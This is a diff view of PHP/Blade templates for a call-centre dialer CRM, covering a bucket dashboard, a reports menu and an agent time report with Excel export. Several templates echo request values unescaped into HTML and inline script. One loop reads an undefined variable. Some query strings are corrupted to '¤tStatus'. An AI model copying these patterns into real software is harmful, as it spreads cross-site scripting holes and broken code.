| 237 | Today: {!!$recstoday!!} / {!!$callstoday!!} | ||
| 238 | </a> | ||
| 239 | </span> | ||
| 240 | |||
| 241 | </h5> | ||
| 242 | <div style='clear:both'></div> | ||
| 243 | <hr><br> | ||
| 244 | <?php | ||
| 245 | //print_r($legalstatuses); | ||
| 246 | //print_r($currentstatuses); | ||
| 247 | |||
| 248 | ?> | ||
| 249 | <div class=col-md-6> | ||
| 250 | <select class=form-control id=legalstatus_select onchange='bucketSelect();'> | ||
| 251 | <option value='PRIMARY'>PRIMARY</option> | ||
| 252 | <option value='SECONDARY'>SECONDARY</option> | ||
| 253 | </select> | ||
| 254 | </div> | ||
| 255 | <div class=col-md-6> | ||
| 256 | <select class=form-control id=currentstatus_select onchange='bucketSelect();'> | ||
| 257 | <option value='ACTIVE'>ACTIVE</option> | ||
| 258 | <option value='PASSIVE'>PASSIVE</option> | ||
| 259 | </select> | ||
| 260 | </div> | ||
| 261 | <div style='clear:both'></div> | ||
| 262 | |||
| 263 | <ul style="list-style:none"> | ||
| 264 | <li class="notify_alert"> | ||
| 265 | <span><a href=# onclick="dialerLoadData('CurrentQueue','','',1,'','');return false;">CurrentQueue</a></span> | ||
| 266 | <!--<span class="label label-small pull-right" > | ||
| 267 | 0 | ||
| 268 | </span>--> | ||
| 269 | </li> | ||
| 270 | <li class="notify_alert"> | ||
| 271 | <span><a href=# onclick="dialerLoadData('MissedCalls','','',1,'','');return false;">MissedCalls</a></span> | ||
| 272 | <span class="label label-small label-primary pull-right" > | ||
| 273 | {!!$MissedCalls!!} | ||
| 274 | </span> | ||
| 275 | </li> | ||
| 276 | <li class="notify_alert"> | ||
| 277 | <span><a href=# onclick="dialerLoadData('Priority','','',1,'','');return false;">Priority</a></span> | ||
| 278 | <span class="label label-small label-info pull-right" > | ||
| 279 | {!!$Priority!!} | ||
| 280 | </span> | ||
| 281 | </li> | ||
| 282 | <li class="notify_alert"> | ||
| 283 | <span><a href=# onclick="dialerLoadData('TotalData','{!!$currentStatus!!}','{!!$legalStatus!!}',1,'','');return false;">TotalData</a></span> | ||
| 284 | <span class="label label-small label-default pull-right" > | ||
| 285 | {!!$TotalData!!} | ||
| 286 | </span> | ||
| 287 | </li> | ||
| 288 | <li class="notify_alert"> | ||
| 289 | <span><a href=# onclick="dialerLoadData('NotCalled','{!!$currentStatus!!}','{!!$legalStatus!!}',1,'','');return false;">NotCalled</a></span> | ||
| 290 | <span class="label label-small label-default pull-right" > | ||
| 291 | {!!$NotCalled!!} | ||
| 292 | </span> | ||
| 293 | </li> | ||
| 294 | <li class="notify_alert"> | ||
| 295 | <span><a href=# onclick="dialerLoadData('Called','','',1,'','');return false;">Called</a></span> | ||
| 296 | <span class="label label-small label-success pull-right" > | ||
| 297 | {!!$TotalCalled!!} | ||
| 298 | </span> | ||
| 299 | </li> | ||
| 300 | <li class="notify_alert"> | ||
| 301 | <span><a href=# onclick="return false;">Contacted</a></span> | ||
| 302 | <span class="label label-small label-success pull-right" id=contactedcnt_span> | ||
| 303 | 0 | ||
| 304 | </span> | ||
| 305 | </li> | ||
| 306 | <li class="notify_alert"> | ||
| 307 | <span><a href=# onclick="dialerLoadData('Flagged-Called','{!!$currentStatus!!}','{!!$legalStatus!!}',1,'','');return false;">Flagged-Called</a></span> | ||
| 308 | <span class="label label-small label-success pull-right" > | ||
| 309 | {!!$Flagged!!} | ||
| 310 | </span> | ||
| 311 | </li> | ||
| 312 | <li class="notify_alert"> | ||
| 313 | <span><a href=# onclick="dialerLoadData('Flagged-Notcalled','{!!$currentStatus!!}','{!!$legalStatus!!}',1,'','');return false;">Flagged-NotCalled</a></span> | ||
| 314 | <span class="label label-small label-warning pull-right" > | ||
| 315 | {!!$NotCalledFlagged!!} | ||
| 316 | </span> | ||
| 317 | </li> | ||
| 318 | |||
| 319 | <hr><br> | ||
| 320 | |||
| 321 | <?php | ||
| 322 | if($prevData=='' ||$prevData=='MTD') | ||
| 323 | { | ||
| 324 | foreach($dispoarr as $disp) { | ||
| 325 | |||
| 326 | foreach($dispoclassarr as $dclass=>$darr) | ||
| 327 | { | ||
| 328 | if(in_array($disp['dialer_status'],$darr[1])) | ||
| 329 | { | ||
| 330 | $dispoclassarr[$dclass][0]+=$disp['cnt']; | ||
| 331 | } | ||
| 332 | } | ||
| 333 | |||
| 334 | |||
| 335 | $class=str_replace(" ","_","CLS_".$disp['currentstatus'].$disp['legalstatus']); | ||
| 336 | if($disp['dialer_status']) | ||
| 337 | { | ||
| 338 | ?> | ||
| 339 | <li class="notify_alert bucketliitem {!!$class!!}"> | ||
| 340 | <span><a href=# onclick="dialerLoadData('{!!$disp['dialer_status']!!}','{!!$disp['currentstatus']!!}','{!!$disp['legalstatus']!!}',1,'','');return false;">{!!$disp['dialer_status']!!}</a></span> | ||
| 341 | <span class="label label-small label-success pull-right" > | ||
| 342 | {!!$disp['cnt']!!} | ||
| 343 | </span> | ||
| 344 | </li> | ||
| 345 | <?php } | ||
| 346 | |||
| 347 | } | ||
| 348 | } | ||
| 349 | |||
| 350 | if($prevData=='YTD') | ||
| 351 | { | ||
| 352 | foreach($ydispoarr as $disp) { | ||
| 353 | |||
| 354 | foreach($dispoclassarr as $dclass=>$darr) | ||
| 355 | { | ||
| 356 | if(in_array($disp['old_dialer_status'],$darr[1])) | ||
| 357 | { | ||
| 358 | $dispoclassarr[$dclass][0]+=$disp['cnt']; | ||
| 359 | } | ||
| 360 | } | ||
| 361 | |||
| 362 | $class=str_replace(" ","_","CLS_".$disp['currentstatus'].$disp['legalstatus']); | ||
| 363 | if($disp['old_dialer_status']) | ||
| 364 | { | ||
| 365 | ?> | ||
| 366 | <li class="notify_alert bucketliitem {!!$class!!}"> | ||
| 367 | <span><a href=# onclick="dialerLoadData('{!!$disp['old_dialer_status']!!}','{!!$disp['currentstatus']!!}','{!!$disp['legalstatus']!!}',1,'','');return false;">{!!$disp['old_dialer_status']!!}</a></span> | ||
| 368 | <span class="label label-small label-success pull-right" > | ||
| 369 | {!!$disp['cnt']!!} | ||
| 370 | </span> | ||
| 371 | </li> | ||
| 372 | |||
| 373 | <?php | ||
| 374 | } | ||
| 375 | } | ||
| 376 | } | ||
| 377 | |||
| 378 | $contacted=$dispoclassarr['CC'][0]+$dispoclassarr['CB'][0]+$dispoclassarr['NC'][0]; | ||
| 379 | echo "<script>$('#contactedcnt_span').html('$contacted');</script>"; | ||
| 380 | ?> | ||
| 381 | </ul> | ||
| 382 | </div> | ||
| 383 | </div> | ||
| 384 | <div class=col-md-9 id=bucketlistdiv> | ||
| 385 | |||
| 386 | |||
| 387 | </div> | ||
| 388 | |||
| 389 | |||
| 390 | <div style='clear:both'></div> | ||
| 391 | |||
| 392 | |||
| 393 | |||
| 394 | <script> | ||
| 395 | |||
| 396 | <?php if($client){?> | ||
| 397 | $("#tcampaign_select").val('<?=$client?>'); | ||
| 398 | <?php }?> | ||
| 399 | |||
| 400 | <?php if($prevData){ ?> | ||
| 401 | $("#data_select").val('<?=$prevData?>'); | ||
| 402 | <?php }?> | ||
| 403 | |||
| 404 | <?php if($legalStatus){ ?> | ||
| 405 | $("#legalstatus_select").val('<?=$legalStatus?>'); | ||
| 406 | <?php }?> | ||
| 407 | |||
| 408 | <?php if($currentStatus){ ?> | ||
| 409 | $("#currentstatus_select").val('<?=$currentStatus?>'); | ||
| 410 | <?php }?> | ||
| 411 | |||
| 412 | function campaignSelect() | ||
| 413 | { | ||
| 414 | var dashlet="Dialer"; | ||
| 415 | doAjax("dashboard/dashlet?module="+dashlet+"&client="+$("#tcampaign_select").val(),"","DashletT-"+dashlet,"ajax_dashlet_"+dashlet,"singlefail","GET"); | ||
| 416 | } | ||
| 417 | |||
| 418 | function dataSelect() | ||
| 419 | { | ||
| 420 | var currentStatus = $('#currentstatus_select').val(); | ||
| 421 | var legalStatus = $('#legalstatus_select').val(); | ||
| 422 | var prev = $("#data_select").val(); | ||
| 423 | var client = $("#tcampaign_select").val(); | ||
| 424 | |||
| 425 | var dashlet="Dialer"; | ||
| 426 | doAjax("dashboard/dashlet?module="+dashlet+"&client="+client+"&prev="+prev+"¤tStatus="+currentStatus+"&legalStatus="+legalStatus,"","DashletT-"+dashlet,"ajax_dashlet_"+dashlet,"singlefail","GET"); | ||
| 427 | } | ||
| 428 | |||
| 429 | function bucketSelect() | ||
| 430 | { | ||
| 431 | /*var activeclass='CLS_'+$('#currentstatus_select').val()+$('#legalstatus_select').val(); | ||
| 432 | $('.bucketliitem').hide(); | ||
| 433 | $('.'+activeclass).show();*/ | ||
| 434 | var currentStatus = $('#currentstatus_select').val(); | ||
| 435 | var legalStatus = $('#legalstatus_select').val(); | ||
| 436 | var prev = $("#data_select").val(); | ||
| 437 | var client = $("#tcampaign_select").val(); | ||
| 438 | |||
| 439 | var dashlet="Dialer"; | ||
| 440 | |||
| 441 | doAjax("dashboard/status?module="+dashlet+"&client="+client+"&prev="+prev+"¤tStatus="+currentStatus+"&legalStatus="+legalStatus,"","DashletT-"+dashlet,"ajax_dashlet_"+dashlet,"singlefail","GET"); | ||
| 442 | } | ||
| 443 | //bucketSelect(); | ||
| 444 | |||
| 445 | function dialerLoadData(listname,currentstatus,legalstatus,page,skey,stxt) | ||
| 446 | { | ||
| 447 | |||
| 448 | doAjax("dialer/bucketdata","client={!!$client!!}&bucket="+listname+"¤tstatus="+currentstatus+"&legalstatus="+legalstatus+'&page='+page+'&skey='+skey+'&stxt='+stxt,"bucketlistdiv","ajax_dialer_list","singlefail","GET"); | ||
| 449 | } | ||
| 450 | dialerLoadData('CurrentQueue','','',1,'',''); | ||
| 451 | </script> |
File mode changed
File mode changed
File mode changed
File mode changed
| 1 | <div class="layout-app"><!-- row-app --> | ||
| 2 | <div class="row row-app"> | ||
| 3 | |||
| 4 | <!-- col --> | ||
| 5 | <div class="col-md-2 col-sm-3"> | ||
| 6 | |||
| 7 | <!-- col-separator --> | ||
| 8 | <div class="col-separator col-separator-first box col-unscrollable"> | ||
| 9 | |||
| 10 | <!-- col-table --> | ||
| 11 | <div class="col-table" style='padding-left: 13px;padding-right: 13px;'> | ||
| 12 | |||
| 13 | <h4 class="innerAll margin-none border-bottom" style='background: #fff;'>Dialer Reports</h4> | ||
| 14 | |||
| 15 | <!-- col-table-row --> | ||
| 16 | <div class="col-table-row"> | ||
| 17 | |||
| 18 | <!-- col-app --> | ||
| 19 | <div class="col-app col-unscrollable"> | ||
| 20 | |||
| 21 | <!-- col-app --> | ||
| 22 | <div class="col-app"> | ||
| 23 | |||
| 24 | <ul class="list-group list-group-1 margin-none borders-none" style='padding-right: 26px;'> | ||
| 25 | |||
| 26 | <?php if(Auth::user()->moduleACL("Dialer",true,true,true)){ ?> | ||
| 27 | <li class="list-group-item"> | ||
| 28 | <a href="#" onclick="doAjax('dialer/liveusers','','rightmainreportdiv','ajax_dialer_reports','singlethis','GET');return false"><i class="fa fa-circle-o"></i> Live</a> | ||
| 29 | </li> | ||
| 30 | <?php } ?> | ||
| 31 | |||
| 32 | <li class="list-group-item"> | ||
| 33 | <a href="#" onclick="doAjax('dialer/calllog','','rightmainreportdiv','ajax_dialer_reports','singlethis','GET');return false"><i class="fa fa-circle-o"></i> Call</a> | ||
| 34 | </li> | ||
| 35 | <li class="list-group-item"> | ||
| 36 | <a href="#" onclick="doAjax('dialer/agentreport','','rightmainreportdiv','ajax_dialer_reports','singlethis','GET');return false"><i class="fa fa-circle-o"></i> Login</a> | ||
| 37 | </li> | ||
| 38 | <li class="list-group-item"> | ||
| 39 | <a href="#" onclick="doAjax('dialer/campreport','','rightmainreportdiv','ajax_dialer_reports','singlethis','GET');return false"><i class="fa fa-circle-o"></i> Time</a> | ||
| 40 | </li> | ||
| 41 | <li class="list-group-item"> | ||
| 42 | <a href="#" onclick="doAjax('dialer/statusreport','','rightmainreportdiv','ajax_dialer_reports','singlethis','GET');return false"><i class="fa fa-circle-o"></i> Status</a> | ||
| 43 | </li> | ||
| 44 | <li class="list-group-item"> | ||
| 45 | <a href="#" onclick="doAjax('dialer/questionnaire','','rightmainreportdiv','ajax_dialer_reports','singlethis','GET');return false"><i class="fa fa-circle-o"></i> Questionnaire</a> | ||
| 46 | </li> | ||
| 47 | |||
| 48 | <?php if(Auth::user()->usertype=="Supervisor" || Auth::user()->usertype=="Admin"){ ?> | ||
| 49 | <li class="list-group-item"> | ||
| 50 | <a href="#" onclick="doAjax('dialer/callmanagement','','rightmainreportdiv','ajax_dialer_reports','singlethis','GET');return false"><i class="fa fa-circle-o"></i> CallManagement</a> | ||
| 51 | </li> | ||
| 52 | <li class="list-group-item"> | ||
| 53 | <a href="#" onclick="doAjax('dialer/supmessages','','rightmainreportdiv','ajax_dialer_reports','singlethis','GET');return false"><i class="fa fa-circle-o"></i> Messages</a> | ||
| 54 | </li> | ||
| 55 | |||
| 56 | <li class="list-group-item"> | ||
| 57 | <a href="#" onclick="doAjax('dialer/complaintreport','','rightmainreportdiv','ajax_dialer_reports','singlethis','GET');return false"><i class="fa fa-circle-o"></i> Complaint</a> | ||
| 58 | </li> | ||
| 59 | <?php } ?> | ||
| 60 | |||
| 61 | |||
| 62 | <?php if(Auth::user()->moduleACL("Dialer",true,true,true)){ ?> | ||
| 63 | <!-- <li class="list-group-item"> | ||
| 64 | <a href="#" onclick="doAjax('dialer/recarchive','','rightmainreportdiv','ajax_dialer_reports','singlethis','GET');return false"><i class="fa fa-circle-o"></i> Recordings</a> | ||
| 65 | </li>--> | ||
| 66 | <?php } ?> | ||
| 67 | |||
| 68 | |||
| 69 | </ul> | ||
| 70 | |||
| 71 | |||
| 72 | </div> | ||
| 73 | <!-- // END col-app --> | ||
| 74 | |||
| 75 | </div> | ||
| 76 | <!-- // END col-app --> | ||
| 77 | |||
| 78 | </div> | ||
| 79 | <!-- // END col-table-row --> | ||
| 80 | |||
| 81 | </div> | ||
| 82 | <!-- // END col-table --> | ||
| 83 | |||
| 84 | </div> | ||
| 85 | <!-- // END col-separator.box --> | ||
| 86 | |||
| 87 | </div> | ||
| 88 | <!-- // END col --> | ||
| 89 | |||
| 90 | <!-- col --> | ||
| 91 | <div class="col-md-10 col-sm-9" style='border-right:13px solid #eaeaea'> | ||
| 92 | |||
| 93 | <!-- col-separator.box --> | ||
| 94 | <div class="col-separator col-unscrollable box"> | ||
| 95 | |||
| 96 | <!-- col-table --> | ||
| 97 | <div class="col-table"> | ||
| 98 | |||
| 99 | <!-- <h4 class="innerAll margin-none border-bottom">My Sessions</h4> --> | ||
| 100 | |||
| 101 | <!-- col-table-row --> | ||
| 102 | <div class="col-table-row" style='background: #fff;'> | ||
| 103 | |||
| 104 | <!-- col-app --> | ||
| 105 | <div class="col-app col-unscrollable"> | ||
| 106 | |||
| 107 | <!-- col-app --> | ||
| 108 | <div class="col-app" style='position:relative'> | ||
| 109 | |||
| 110 | <div class="" id=rightmainreportdiv> | ||
| 111 | <script> | ||
| 112 | <?php if(Auth::user()->moduleACL("Dialer",true,true,true)){ ?> | ||
| 113 | doAjax('dialer/liveusers','','rightmainreportdiv','ajax_dialer_reports','singlethis','GET'); | ||
| 114 | <?php }else { ?> | ||
| 115 | doAjax('dialer/calllog','','rightmainreportdiv','ajax_dialer_reports','singlethis','GET'); | ||
| 116 | <?php } ?> | ||
| 117 | </script> | ||
| 118 | </div> | ||
| 119 | |||
| 120 | </div> | ||
| 121 | <!-- // END col-app --> | ||
| 122 | |||
| 123 | </div> | ||
| 124 | <!-- // END col-app.col-unscrollable --> | ||
| 125 | |||
| 126 | </div> | ||
| 127 | <!-- // END col-table-row --> | ||
| 128 | |||
| 129 | </div> | ||
| 130 | <!-- // END col-table --> | ||
| 131 | |||
| 132 | </div> | ||
| 133 | <!-- // END col-separator.box --> | ||
| 134 | |||
| 135 | </div> | ||
| 136 | <!-- // END col --> | ||
| 137 | |||
| 138 | </div> | ||
| 139 | <!-- // END row-app --> | ||
| 140 | |||
| 141 | |||
| 142 | |||
| 143 | |||
| 144 | </div> |
| 1 | <?php | ||
| 2 | use App\Models\CRMCall; | ||
| 3 | use App\Models\CRMCallArchive; | ||
| 4 | use App\Models\User; | ||
| 5 | use App\Models\UserLog; | ||
| 6 | use App\Jobs\KHRMSLib; | ||
| 7 | $wakka = new KHRMSLib(); | ||
| 8 | $dashboarduser=Auth::user(); | ||
| 9 | $timeoffset = $dashboarduser->timezone; //-330; //$dashboarduser->timezone; | ||
| 10 | $timeoffset = $timeoffset*60; | ||
| 11 | $logtime =(isset($_GET['logtime'])) ? $_GET['logtime'] :9; | ||
| 12 | $logtimeto =(isset($_GET['logtimeto']))? $_GET['logtimeto']:20; | ||
| 13 | $logdate =(isset($_GET['logdate'])) ? strtotime($_GET['logdate']." ".$logtime.":00:00") | ||
| 14 | : strtotime(date("Y-m-d")." 09:00:00"); | ||
| 15 | $logdateto =(isset($_GET['logdateto']))? strtotime($_GET['logdateto']." ".$logtimeto.":00:00") | ||
| 16 | : strtotime(date("Y-m-d")." 20:00:00"); | ||
| 17 | $campaign =(isset($_GET['campaign'])) ? $_GET['campaign'] : "All"; | ||
| 18 | $alist=CRMCallArchive::where('user_id','!=',0)->where('created_at','>=',date("Y-m-d H:i:s",$logdate+$timeoffset))->where('created_at','<=',date("Y-m-d H:i:s",$logdateto+$timeoffset)); | ||
| 19 | $alist->orderBy('user_id', 'ASC')->orderBy('ts_Close', 'ASC'); | ||
| 20 | $userlog=UserLog::where('created_at','>=',date("Y-m-d H:i:s",$logdate+$timeoffset))->where('created_at','<=',date("Y-m-d H:i:s",$logdateto+$timeoffset)); | ||
| 21 | if($campaign != 'All') $alist->where('client','=',$campaign); | ||
| 22 | $userarr=array(); | ||
| 23 | $allusers = DB::table('users as u1')->leftjoin('users AS u2', 'u2.username', '=', 'u1.supervisor') | ||
| 24 | ->select('u1.id','u1.username','u1.fullname AS telecaller', 'u2.fullname AS sepervisor') | ||
| 25 | ->where('u1.status','=','Active'); | ||
| 26 | $roclientstr=array();$didlinesstr=array(); | ||
| 27 | if($dashboarduser->exten!="")$didlinesstr[]=$dashboarduser->exten; | ||
| 28 | $oclientlst=$wakka->clientsReadAccess(); sort($oclientlst); $oclientlst[0] = 'All'; | ||
| 29 | if(!empty($oclientlst))foreach($oclientlst as $tclnt)if($tclnt!="") | ||
| 30 | { | ||
| 31 | $roclientstr[]="$tclnt"; | ||
| 32 | |||
| 33 | $mastersdata=$wakka->getCompanyMaster($tclnt); | ||
| 34 | if(!empty($mastersdata["DialerDID"]))$didlinesstr[]=$mastersdata["DialerDID"]; | ||
| 35 | } | ||
| 36 | $breaks=array("Paused","AgentBriefing","TeamMeeting","QualityFeedback","LunchBreak","TeaBreak","UtilityBreak","FloorAnnouncements","DownTime"); | ||
| 37 | $reporthead=array_merge(array("#","Telecaller","TelecallerID","Supervisor","Signin","Signout","Count","Duration","Total","Wait","Call","Talk","Dispo"),$breaks); | ||
| 38 | $reportarray=array(); | ||
| 39 | $i=1; | ||
| 40 | if($dashboarduser->usertype != 'Admin') | ||
| 41 | { | ||
| 42 | $uidlist=array($dashboarduser->id); | ||
| 43 | $allusers=$allusers->where(function ($query) use($dashboarduser) { | ||
| 44 | $query->where('u1.supervisor','=',$dashboarduser->username) | ||
| 45 | ->orWhere('u1.lteam2','=',$dashboarduser->username) | ||
| 46 | ->orWhere('u1.lteam','=',$dashboarduser->username); | ||
| 47 | })->get(); | ||
| 48 | |||
| 49 | foreach($allusers as $tuser) | ||
| 50 | { | ||
| 51 | $uidlist[]=$tuser->id; | ||
| 52 | $reportarray[$aline->user_id]=array("#"=>$i++,"Telecaller"=>$tuser->telecaller,"TelecallerID"=>$tuser->username,"Supervisor"=>$tuser->sepervisor); | ||
| 53 | } | ||
| 54 | $alist=$alist->whereIn('user_id',$uidlist); | ||
| 55 | |||
| 56 | /*$alist=$alist->where(function ($query) use($roclientstr,$uidlist,$didlinesstr){ | ||
| 57 | $query->orWhereIn('client',$roclientstr) | ||
| 58 | ->orWhereIn('did',$didlinesstr); | ||
| 59 | });*/ | ||
| 60 | $userlog=$userlog->whereIn('user_id',$uidlist); | ||
| 61 | } | ||
| 62 | else { | ||
| 63 | $allusers=$allusers->get(); | ||
| 64 | foreach($allusers as $tuser) | ||
| 65 | { | ||
| 66 | $reportarray[$tuser->id]=array("#"=>$i++,"Telecaller"=>$tuser->telecaller,"TelecallerID"=>$tuser->username,"Supervisor"=>$tuser->sepervisor); | ||
| 67 | } | ||
| 68 | } | ||
| 69 | $alist=$alist->get(); | ||
| 70 | $userlog=$userlog->get(); | ||
| 71 | $prev_close = 0; | ||
| 72 | foreach($alist as $aline) | ||
| 73 | { | ||
| 74 | if($prev_user != $aline->user_id || $prev_close <= $aline->ts_Wait) | ||
| 75 | { | ||
| 76 | $userid=$aline->user_id; | ||
| 77 | |||
| 78 | $talktime=$aline->talkSec+$aline->recstartSec+$aline->recendSec; | ||
| 79 | $totaltime=$aline->callSec+$talktime+$aline->dispoSec; | ||
| 80 | |||
| 81 | $reportarray[$userid]["oncall"]+=$totaltime/1000; | ||
| 82 | //$reportarray[$userid]["Wait"]+=$aline->waitSec/1000; | ||
| 83 | $reportarray[$userid]["Call"]+=$aline->callSec/1000; | ||
| 84 | $reportarray[$userid]["Talk"]+=$talktime/1000; | ||
| 85 | $reportarray[$userid]["Dispo"]+=$aline->dispoSec/1000; | ||
| 86 | } | ||
| 87 | $reportarray[$userid]["Count"]++; | ||
| 88 | $prev_close = $aline->ts_Close;//-ts_Wait | ||
| 89 | $prev_user = $aline->user_id;//-ts_Wait | ||
| 90 | } | ||
| 91 | $userLogin=array(); | ||
| 92 | foreach($userlog as $ulog) | ||
| 93 | { | ||
| 94 | if($ulog->durationsec != 0) { | ||
| 95 | $userLogin[$ulog->user_id]['duration'] += $ulog->durationsec; | ||
| 96 | $userLogin[$ulog->user_id]['start'][] = strtotime($ulog->startdate . ' ' . $ulog->starttime); | ||
| 97 | $userLogin[$ulog->user_id]['end'][] = strtotime($ulog->enddate . ' ' . $ulog->endtime); | ||
| 98 | } | ||
| 99 | else { | ||
| 100 | if(preg_match_all('/(\d+(\.\d+)?)/', $ulog->data, $numbers)) { | ||
| 101 | $starttime = strtotime($ulog->startdate.' '.$ulog->starttime); | ||
| 102 | $endtime = round(end($numbers[0])/1000); | ||
| 103 | $userLogin[$ulog->user_id]['duration'] += ($endtime-$starttime); | ||
| 104 | $userLogin[$ulog->user_id]['start'][] = $starttime; | ||
| 105 | $userLogin[$ulog->user_id]['end'][] = $endtime; | ||
| 106 | } | ||
| 107 | } | ||
| 108 | $data=json_decode($ulog->data,true); | ||
| 109 | $prets=strtotime($ulog->startdate." ".$ulog->starttime)*1000; | ||
| 110 | $previous="Paused-Paused"; | ||
| 111 | foreach($data as $sdata) | ||
| 112 | { | ||
| 113 | $pts=$sdata['ts']; | ||
| 114 | if(isset($sdata['states'])) | ||
| 115 | { | ||
| 116 | foreach($sdata['states'] as $ts=>$states) | ||
| 117 | { | ||
| 118 | $previous = str_replace('Paused-', '', $previous); | ||
| 119 | if(!in_array($previous,$reporthead)) $previous = 'Paused'; | ||
| 120 | |||
| 121 | $reportarray[$ulog->user_id][$previous]+=round($ts-$prets,2)/1000; | ||
| 122 | $prets=$ts; | ||
| 123 | $previous=$states[0].'-'.$states[1]; | ||
| 124 | } | ||
| 125 | $previous = str_replace('Paused-', '', $previous); | ||
| 126 | $reportarray[$ulog->user_id][$previous]+=round($pts-$prets,2)/1000; | ||
| 127 | } | ||
| 128 | } | ||
| 129 | } | ||
| 130 | if(count($userLogin)) foreach ($userLogin as $userid => $value) | ||
| 131 | { | ||
| 132 | $break_time=0; | ||
| 133 | foreach ($breaks as $break) { | ||
| 134 | $break_time+=$reportarray[$userid][$break]; | ||
| 135 | } | ||
| 136 | $reportarray[$userid]["Signin"]=date("Y-m-d H:i:s", min($value['start'])-$timeoffset); | ||
| 137 | $reportarray[$userid]["Signout"]=date("Y-m-d H:i:s", max($value['end'])-$timeoffset); | ||
| 138 | $reportarray[$userid]["Duration"]=$value['duration']; | ||
| 139 | $reportarray[$userid]["Total"]=$value['duration']-$break_time; | ||
| 140 | $reportarray[$userid]["Wait"]=$reportarray[$userid]["Total"]-$reportarray[$userid]['oncall']; | ||
| 141 | } | ||
| 142 | $highestColumn = sizeof($reporthead); | ||
| 143 | if(count($reportarray)) { | ||
| 144 | $outhead="<tr>";$outstr=""; | ||
| 145 | for ($head = 0; $head < $highestColumn; $head++){ | ||
| 146 | if($reporthead[$head] == '#') { | ||
| 147 | $mode_str = "<a onclick='displayMode(".'"summation"'.");return false;' href='#'><i class='fa fa-plus-square-o'></i></a> / <a onclick='displayMode(".'"percent"'.");return false;' href='#'>%</a>"; | ||
| 148 | $outhead.="<td>".$mode_str."</td>"; | ||
| 149 | } | ||
| 150 | else { | ||
| 151 | $outhead.="<td>".$reporthead[$head]."</td>"; | ||
| 152 | } | ||
| 153 | } | ||
| 154 | $outhead.="</tr>"; | ||
| 155 | $utotalarr = array("Telecaller"=>'Total'); | ||
| 156 | foreach($reportarray as $uid=>$uarr) | ||
| 157 | { | ||
| 158 | $outstr.="<tr>"; | ||
| 159 | for ($head = 0; $head < $highestColumn; $head++){ | ||
| 160 | if($head < 6) { | ||
| 161 | $data_str = $uarr[$reporthead[$head]]; | ||
| 162 | } | ||
| 163 | elseif($head < 7) { | ||
| 164 | $data_str = $uarr[$reporthead[$head]]; | ||
| 165 | $utotalarr[$reporthead[$head]] += $uarr[$reporthead[$head]]; | ||
| 166 | } | ||
| 167 | else { | ||
| 168 | $data_str = secToDuration(round($uarr[$reporthead[$head]])); | ||
| 169 | $utotalarr[$reporthead[$head]] += $uarr[$reporthead[$head]]; | ||
| 170 | } | ||
| 171 | $outstr.="<td>".$data_str."</td>"; | ||
| 172 | } | ||
| 173 | $outstr.="</tr>"; | ||
| 174 | } | ||
| 175 | $outstr.="<tr>"; | ||
| 176 | for ($head = 0; $head < $highestColumn; $head++) | ||
| 177 | { | ||
| 178 | if($head < 7) { | ||
| 179 | $data_str = $utotalarr[$reporthead[$head]]; | ||
| 180 | } | ||
| 181 | else { | ||
| 182 | $data_str = secToDuration($utotalarr[$reporthead[$head]]); | ||
| 183 | } | ||
| 184 | $outstr.="<td>".$data_str."</td>"; | ||
| 185 | } | ||
| 186 | $outstr.="</tr>"; | ||
| 187 | } | ||
| 188 | else { | ||
| 189 | $outhead.="<tr><td>No Records Found.</td></tr>"; | ||
| 190 | } | ||
| 191 | if(Input::has("dllogxls")) | ||
| 192 | { | ||
| 193 | include_once(app_path().'/lib/phpexcel/PHPExcel.php'); | ||
| 194 | |||
| 195 | $inputFileType = "Excel5"; | ||
| 196 | $objReader = PHPExcel_IOFactory::createReader($inputFileType); | ||
| 197 | $objPHPExcel = $objReader->load("assets/extras/blank.xls"); | ||
| 198 | $baseRow = 2; | ||
| 199 | $highestColumn = sizeof($reporthead); | ||
| 200 | for ($head = 0; $head < $highestColumn; $head++){ | ||
| 201 | $colstr=PHPExcel_Cell::stringFromColumnIndex($head); | ||
| 202 | $objPHPExcel->getActiveSheet()->setCellValue($colstr."1", $reporthead[$head]); | ||
| 203 | } | ||
| 204 | foreach($reportarray as $uid=>$uarr) | ||
| 205 | { | ||
| 206 | $row = $baseRow++; | ||
| 207 | $col = 0; | ||
| 208 | |||
| 209 | for ($head = 0; $head < $highestColumn; $head++){ | ||
| 210 | $excelval = ($head < 7) ? $uarr[$reporthead[$head]] : secToDuration(round($uarr[$reporthead[$head]])); | ||
| 211 | $colstr=PHPExcel_Cell::stringFromColumnIndex($head); | ||
| 212 | $objPHPExcel->getActiveSheet()->setCellValue($colstr.$row, $excelval); | ||
| 213 | } | ||
| 214 | } | ||
| 215 | $row++; | ||
| 216 | for ($head = 0; $head < $highestColumn; $head++){ | ||
| 217 | $excelval = ($head < 7) ? $utotalarr[$reporthead[$head]] : secToDuration(round($utotalarr[$reporthead[$head]])); | ||
| 218 | $colstr=PHPExcel_Cell::stringFromColumnIndex($head); | ||
| 219 | $objPHPExcel->getActiveSheet()->setCellValue($colstr.$row, $excelval); | ||
| 220 | } | ||
| 221 | header('Content-Type: application/vnd.ms-excel'); | ||
| 222 | header('Content-Disposition: attachment;filename="AgentTime.xls"'); | ||
| 223 | header('Cache-Control: max-age=0'); | ||
| 224 | $objWriter = PHPExcel_IOFactory::createWriter($objPHPExcel, $inputFileType); | ||
| 225 | $objWriter->save('php://output'); | ||
| 226 | |||
| 227 | return ; | ||
| 228 | } | ||
| 229 | function secToDuration($sec) { | ||
| 230 | return sprintf("%02d%s%02d%s%02d", floor($sec/3600), ':', ($sec/60)%60, ':', $sec%60); | ||
| 231 | } | ||
| 232 | ?> | ||
| 233 | <style>#logtable.td{vertical-align:top;}#logtable.tr{height:28px;overflow-y:hidden;}</style> | ||
| 234 | <div class=innerAll> | ||
| 235 | <h4 style="float:left;width:50%;margin:10px 0;">Agent Time Report</h4> | ||
| 236 | <div style="float:right;width:50%"> | ||
| 237 | <button class="pull-right btn btn-sm btn-default" onclick='dlAgentlogXls();return false;' title='Download'><i class='fa fa-download'></i> Download</button> | ||
| 238 | </div> | ||
| 239 | <div style="clear:both"></div> | ||
| 240 | <hr style="margin-bottom: 5px;"> | ||
| 241 | <div> | ||
| 242 | Search <input id=filter name="filter" type="text" style="border:1px solid #efefef; padding: 2px 10px;"> | ||
| 243 | Date: From <input size=10 id='modfrom' name='modfrom' type='text' value='<?php echo date("Y-m-d",$logdate); ?>' onchange='statusLogReloadFun("");' /> | ||
| 244 | <select id="modtime" style="border:1px solid #efefef;" onchange='statusLogReloadFun("");'> | ||
| 245 | <?php | ||
| 246 | foreach (range(0,23) as $hour) { | ||
| 247 | $selected = ($hour == $logtime) ? "selected" : ""; | ||
